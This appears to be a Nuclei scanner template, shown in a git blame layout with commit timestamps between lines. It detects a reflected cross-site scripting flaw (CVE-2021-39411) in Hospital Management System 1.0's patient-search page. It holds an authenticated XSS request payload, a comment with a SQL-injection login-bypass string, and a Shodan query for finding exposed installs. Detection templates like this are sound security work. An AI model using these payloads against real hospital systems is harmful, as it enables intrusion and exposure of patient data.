2022-09-15 08:32:02 +00:00
|
|
|
id: hospital-management-xss2
|
2022-09-14 13:07:11 +00:00
|
|
|
|
|
|
|
info:
|
2022-09-21 21:42:27 +00:00
|
|
|
name: Hospital Management System 1.0 - Cross-Site Scripting
|
2022-09-14 13:07:11 +00:00
|
|
|
author: arafatansari
|
2022-09-21 21:42:27 +00:00
|
|
|
severity: high
|
2022-09-14 13:07:11 +00:00
|
|
|
description: |
|
2022-09-21 21:42:27 +00:00
|
|
|
Hospital Management System 1.0 contains a cross-site scripting vulnerability via the searchdata parameter in patient-search.php.
|
|
|
|
reference:
|
|
|
|
- https://vulmon.com/vulnerabilitydetails?qid=CVE-2021-39411&scoretype=cvssv3
|
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
|
|
|
|
cvss-score: 7.2
|
|
|
|
cwe-id: CWE-79
|
2022-09-14 13:07:11 +00:00
|
|
|
metadata:
|
|
|
|
verified: true
|
2023-10-14 11:27:55 +00:00
|
|
|
max-request: 2
|
2022-09-15 08:32:02 +00:00
|
|
|
shodan-query: http.html:"Hospital Management System"
|
|
|
|
comment: Login bypass is also possible using the payload - admin'+or+'1'%3D'1' in username.
|
|
|
|
tags: hms,hospital,cms,xss,authenticated
|
2022-09-14 13:07:11 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2022-09-14 13:07:11 +00:00
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /hms/admin/ HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
2022-09-14 13:17:17 +00:00
|
|
|
username={{username}}&password={{password}}&submit=
|
2022-09-14 13:07:11 +00:00
|
|
|
- |
|
|
|
|
POST /hms/admin/patient-search.php HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
2022-09-15 08:32:02 +00:00
|
|
|
searchdata=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&search=
|
2022-09-14 13:07:11 +00:00
|
|
|
|
|
|
|
matchers:
|
2022-09-15 08:32:02 +00:00
|
|
|
- type: dsl
|
|
|
|
dsl:
|
2023-06-19 21:10:30 +00:00
|
|
|
- 'contains(header_2, "text/html")'
|
2022-09-15 08:32:02 +00:00
|
|
|
- "status_code_2 == 200"
|
|
|
|
- contains(body_2, 'Result against \"<script>alert(document.domain)</script>\" keyword')
|
|
|
|
condition: and
|
2023-10-20 11:41:13 +00:00
|
|
|
|
|
|
|
# digest: 490a0046304402207ece5ef02dbf16eaaa12d540957ad5af5a7d323a9aa569a66f7104c164cc4f61022007506153444c0a49e399b8bfc294884d6c8abf04fe356e442929b67a43a63ae2:922c64590222798bb761d5b6d8e72950
|